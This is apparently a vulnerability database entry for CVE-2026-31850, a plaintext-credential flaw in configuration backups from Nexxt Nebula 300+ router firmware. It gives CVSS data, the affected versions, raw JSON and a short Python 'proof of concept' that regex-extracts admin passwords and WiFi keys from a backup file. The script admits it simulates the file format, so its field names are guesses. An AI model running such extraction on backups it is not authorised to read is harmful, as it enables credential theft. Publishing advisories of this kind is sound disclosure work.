Security Vulnerability Report
中文
CVE-2026-31850 CVSS 4.9 MEDIUM

CVE-2026-31850

Published: 2026-03-23 13:16:31
Last Modified: 2026-04-29 17:39:52
Source: 309f9ea4-e3e9-4c6c-b79d-e8eb01244f2c

Description

Nexxt Solutions Nebula 300+ firmware through version 12.01.01.37 stores sensitive information, including administrative credentials and WiFi pre-shared keys, in plaintext within exported configuration backup files. These backup files can be obtained through legitimate functionality or other weaknesses and do not apply encryption or hashing, allowing attackers to directly extract sensitive information.

CVSS Details

CVSS Score
4.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:o:nexxtsolutions:nebula300plus_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:nexxtsolutions:nebula300plus:-:*:*:*:*:*:*:* - NOT VULNERABLE
Nexxt Solutions Nebula 300+ firmware <= 12.01.01.37

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Proof of Concept (PoC) for CVE-2026-31850 # This script simulates parsing a backup configuration file to extract plaintext credentials. import re def parse_backup_config(file_path): """ Parses the vulnerable backup file to find sensitive info. In a real scenario, the file might be XML, JSON, or a specific binary format. Here we simulate a text-based configuration leak. """ sensitive_data = {} try: with open(file_path, 'r', encoding='utf-8', errors='ignore') as f: content = f.read() # Simulate regex patterns to find plaintext credentials # Example patterns based on common router config structures admin_pass_pattern = r'admin_password\s*=\s*["\']?([^"\'\s]+)["\']?' wifi_psk_pattern = r'wpa_psk\s*=\s*["\']?([^"\'\s]+)["\']?' admin_match = re.search(admin_pass_pattern, content) wifi_match = re.search(wifi_psk_pattern, content) if admin_match: sensitive_data['Admin_Password'] = admin_match.group(1) print(f"[!] Found Admin Password: {admin_match.group(1)}") if wifi_match: sensitive_data['WiFi_PSK'] = wifi_match.group(1) print(f"[!] Found WiFi PSK: {wifi_match.group(1)}") except FileNotFoundError: print("[!] File not found.") return sensitive_data # Usage example (requires a sample backup file) # parse_backup_config('config_backup.bin')

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-31850", "sourceIdentifier": "309f9ea4-e3e9-4c6c-b79d-e8eb01244f2c", "published": "2026-03-23T13:16:30.807", "lastModified": "2026-04-29T17:39:51.817", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Nexxt Solutions Nebula 300+ firmware through version 12.01.01.37 stores sensitive information, including administrative credentials and WiFi pre-shared keys, in plaintext within exported configuration backup files. These backup files can be obtained through legitimate functionality or other weaknesses and do not apply encryption or hashing, allowing attackers to directly extract sensitive information."}, {"lang": "es", "value": "El firmware de Nexxt Solutions Nebula 300+ hasta la versión 12.01.01.37 almacena información sensible, incluyendo credenciales administrativas y claves precompartidas de WiFi, en texto plano dentro de los archivos de copia de seguridad de configuración exportados."}], "metrics": {"cvssMetricV40": [{"source": "309f9ea4-e3e9-4c6c-b79d-e8eb01244f2c", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:A/AC:L/AT:N/PR:H/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "309f9ea4-e3e9-4c6c-b79d-e8eb01244f2c", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-256"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:nexxtsolutions:nebula300plus_firmware:*:*:*:*:*:*:*:*", "versionEndIncluding": "12.01.01.37", "matchCriteriaId": "D55E0FD8-9ADB-423B-A23F-64F41F9DD40B"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:nexxtsolutions:nebula300plus:-:*:*:*:*:*:*:*", "matchCriteriaId": "F9AA93D2-E1BA-4EFC-8760-BF366CF6474D"}]}]}], "references": [{"url": "https://nexxt-connectivity-frontend.s3.amazonaws.com/media/docs/Nebula300+_v12.01.01.37.zip", "source": "309f9ea4-e3e9-4c6c-b79d-e8eb01244f2c", "tags": ["Product"]}, {"url": "https://www.nexxtsolutions.com/connectivity/internal-products/ARN02304U6/", "source": "309f9ea4-e3e9-4c6c-b79d-e8eb01244f2c", "tags": ["Product"]}]}}